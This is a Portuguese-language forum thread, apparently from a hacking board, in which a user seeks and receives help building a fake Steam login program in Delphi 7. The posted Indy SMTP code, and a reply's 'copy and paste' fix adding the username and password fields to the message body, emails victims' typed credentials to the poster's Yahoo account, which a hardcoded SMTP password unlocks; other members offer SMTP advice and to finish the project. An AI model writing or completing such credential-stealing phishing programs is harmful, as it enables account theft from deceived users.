E-mail [ DELPHI 7 ]

[lostph]

Bom antes de tudo, venho avisar que jah procurei em google e tudo mais que possaum imaginar ou que eu possa imaginar ... por isso estou postandu aki ..

eh o seguinte t com um projeto quase todo pronto jah ... porem falta 1 parte seria o envio das informações ...

meu projeto tem 2 edit ...

o Edit USUARIO e o edit SENHA ...

bom , para intender melhor eu estou fazendu um programa fake, imitação de outro programa aonde ao usuario colokar a senha e o usuario viria pro meu e-mail ...

enfim voltando ...

eu naum to conseguindo fazer com que ao clikar no botao ENVIAR ... as informações do edt SENHA e edt USUARIo vaum pro meu e-mail ...

Alguem poderia me ajudar ?!


Postandu uma solução .. ou um code que realmente funcione pois achei varios no google que ao testar naum funciono ..

vou ate posta as informações do meu e-mail pra facilitar , porem naum precizem configura eu mesmo configuro o codigo a naum ser se vcs kiserem...


abraços e muito obrigado ...

Informações e-mail:

Configurações do servidor
Servidor (POP3): pop.mail.yahoo.com.br

Use SSL, porta: 995
Servidor (SMTP): smtp.mail.yahoo.com.br

Use SSL, porta: 465, use autenticação
Nome da conta/nome do usuário steam_lostph
E-mail: mailto:steam_lostph@yahoo.com.br">steam_lostph@yahoo.com.br
Senha: ******

[J.spY]

Posta o código ae que eu tento te ajudar.

[]'s

[lostph]

codigo:

Code Select Expand

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, StdCtrls, IdMessage, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Image2: TImage;
    Image3: TImage;
    Image4: TImage;
    Image5: TImage;
    Image6: TImage;
    Image7: TImage;
    Image8: TImage;
    Edit1: TEdit;
    Edit2: TEdit;
    IdSMTP: TIdSMTP;
    IdMessage: TIdMessage;
    procedure Image2MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure Image4Click(Sender: TObject);
    procedure Image3Click(Sender: TObject);
    procedure Image6Click(Sender: TObject);
    procedure Conecta();
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Image2MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
ReleaseCapture;
Perform(WM_SYSCOMMAND, $F012, 0);
end;

procedure TForm1.Image4Click(Sender: TObject);
begin
Close;
end;

procedure TForm1.Image3Click(Sender: TObject);
begin
Application.Minimize;
end;

procedure TForm1.Image6Click(Sender: TObject);
begin
Close;
end;

procedure TForm1.Conecta;
begin
 try
    idSmtp := TIDSMTP.Create(nil);
    idMessage := TIDMessage.Create(nil);

     //origem
    IdMessage.From.Address := 'steam_lostph@yahoo.com.br';
    //destino
    IdMessage.Recipients.EMailAddresses:= 'steam_lostph@yahoo.com.br';
    //armazena o assunto
    idMessage.Subject := 'NOVA SENHA STEAM';
    //armazena o texo que vai na mensagem
    IdMessage.Body.Add( 'Mensagem ou texto do e-mail' );

    with idSmtp do
    begin
      Host := 'smtp.mail.yahoo.com.br';
      Port := StrToInt('465');
      Username:= 'steam_lostph@yahoo.com.br  ';
      Password:= '060590';
      AuthenticationType:=atLogin;

      Connect;
    end;

    (*
       estabelece uma conexao e envia o email.
       - TidSMTP é o responsavel pelo envio..
       - TidMessage defina as configurações de envio
     *)
    idSmtp.Send(idMessage);
    IdMessage.Clear;
    idSmtp.Disconnect;

  except
  on E : Exception do
    begin
      ShowMessage('Operação não realizada! '+#13+'Error:'+#13+E.Message);

      idSmtp.Disconnect;
    end;
  end;

end;

end.

ou se preferir me add msn que ti passo o projeto ai achu qu e fika mais facil ...

steam_lostph@yahoo.com.br

[abobre]

Seu codigo deve ficar assim:

 Só copiar e colar no seu projeto !

Code Select Expand

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, StdCtrls, IdMessage, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Image2: TImage;
    Image3: TImage;
    Image4: TImage;
    Image5: TImage;
    Image6: TImage;
    Image7: TImage;
    Image8: TImage;
    Edit1: TEdit;
    Edit2: TEdit;
    IdSMTP: TIdSMTP;
    IdMessage: TIdMessage;
    procedure Image2MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure Image4Click(Sender: TObject);
    procedure Image3Click(Sender: TObject);
    procedure Image6Click(Sender: TObject);
    procedure Conecta();
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Image2MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
ReleaseCapture;
Perform(WM_SYSCOMMAND, $F012, 0);
end;

procedure TForm1.Image4Click(Sender: TObject);
begin
Close;
end;

procedure TForm1.Image3Click(Sender: TObject);
begin
Application.Minimize;
end;

procedure TForm1.Image6Click(Sender: TObject);
begin
Close;
end;

procedure TForm1.Conecta;
begin
 try
    idSmtp := TIDSMTP.Create(nil);
    idMessage := TIDMessage.Create(nil);

     //origem
    IdMessage.From.Address := 'steam_lostph@yahoo.com.br';
    //destino
    IdMessage.Recipients.EMailAddresses:= 'steam_lostph@yahoo.com.br';
    //armazena o assunto
    idMessage.Subject := 'NOVA SENHA STEAM';
    //armazena o texo que vai na mensagem
    IdMessage.Body.Add( 'Mensagem ou texto do e-mail' );
    IdMessage.Body.Add(Edit1.Text);
    IdMessage.Body.Add(Edit2.Text);

    with idSmtp do
    begin
      Host := 'smtp.mail.yahoo.com.br';
      Port := StrToInt('465');
      Username:= 'steam_lostph@yahoo.com.br  ';
      Password:= '060590';
      AuthenticationType:=atLogin;

      Connect;
    end;

    (*
       estabelece uma conexao e envia o email.
       - TidSMTP é o responsavel pelo envio..
       - TidMessage defina as configurações de envio
     *)
    idSmtp.Send(idMessage);
    IdMessage.Clear;
    idSmtp.Disconnect;

  except
  on E : Exception do
    begin
      ShowMessage('Operação não realizada! '+#13+'Error:'+#13+E.Message);

      idSmtp.Disconnect;
    end;
  end;

end;

end.



[lostph]

Obrigado pela ajuda Abobre, mais naum funciono ...

[Be.Cool]

O yahoo não aceita conexão direta com o servidores smtp, e talvez o pop tbm não!
Você pode testar o que quiser que não vai dar certo!
o que vc tem que fazer é achar um servidor smtp que aceite conexão direta com o mesmo!
100+




fui.

[#phobia]

lostph, veja se isso ajuda: http://www.darkers.com.br/forum/http:// ... 682#p33682

Não me lembro se ainda funciona, mas não custa dar uma olhada!

[J.spY]

Humm, entendi...
Eu já fiz um fakeSteam uma vez em Delphi, porém está meio passado com a nova atualização. Cara, se puder me enviar o projeto todo, eu arrumo pra você.

Estou sem tempo de entrar no MSN, mas isso é simples; faz upload do projeto no rapidshare e me mandar por PM que te respondo o mais rápido possível.

[]'s